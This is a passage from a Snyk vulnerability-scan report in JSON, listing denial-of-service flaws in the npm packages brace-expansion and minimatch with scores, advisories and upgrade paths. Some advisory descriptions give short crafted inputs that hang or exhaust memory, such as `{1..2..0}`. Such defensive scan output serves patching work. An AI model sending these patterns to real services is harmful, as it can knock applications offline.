"@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" } ], "ok": false, "dependencyCount": 149, "org": "sean.graham", "policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n", "isPrivate": true, "licensesPolicy": { "severities": {}, "orgLicenseRules": { "AGPL-1.0": { "licenseType": "AGPL-1.0", "severity": "high", "instructions": "" }, "AGPL-3.0": { "licenseType": "AGPL-3.0", "severity": "high", "instructions": "" }, "Artistic-1.0": { "licenseType": "Artistic-1.0", "severity": "medium", "instructions": "" }, "Artistic-2.0": { "licenseType": "Artistic-2.0", "severity": "medium", "instructions": "" }, "CDDL-1.0": { "licenseType": "CDDL-1.0", "severity": "medium", "instructions": "" }, "CPOL-1.02": { "licenseType": "CPOL-1.02", "severity": "high", "instructions": "" }, "EPL-1.0": { "licenseType": "EPL-1.0", "severity": "medium", "instructions": "" }, "GPL-2.0": { "licenseType": "GPL-2.0", "severity": "high", "instructions": "" }, "GPL-3.0": { "licenseType": "GPL-3.0", "severity": "high", "instructions": "" }, "LGPL-2.0": { "licenseType": "LGPL-2.0", "severity": "medium", "instructions": "" }, "LGPL-2.1": { "licenseType": "LGPL-2.1", "severity": "medium", "instructions": "" }, "LGPL-3.0": { "licenseType": "LGPL-3.0", "severity": "medium", "instructions": "" }, "MPL-1.1": { "licenseType": "MPL-1.1", "severity": "medium", "instructions": "" }, "MPL-2.0": { "licenseType": "MPL-2.0", "severity": "medium", "instructions": "" }, "MS-RL": { "licenseType": "MS-RL", "severity": "medium", "instructions": "" }, "SimPL-2.0": { "licenseType": "SimPL-2.0", "severity": "high", "instructions": "" } } }, "packageManager": "npm", "ignoreSettings": { "adminOnly": false, "reasonRequired": false, "disregardFilesystemIgnores": false, "autoApproveIgnores": false, "approvalWorkflowEnabled": false }, "docker": {}, "summary": "1817 high or critical severity vulnerable dependency paths", "severityThreshold": "high", "remediation": { "unresolved": [ { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": 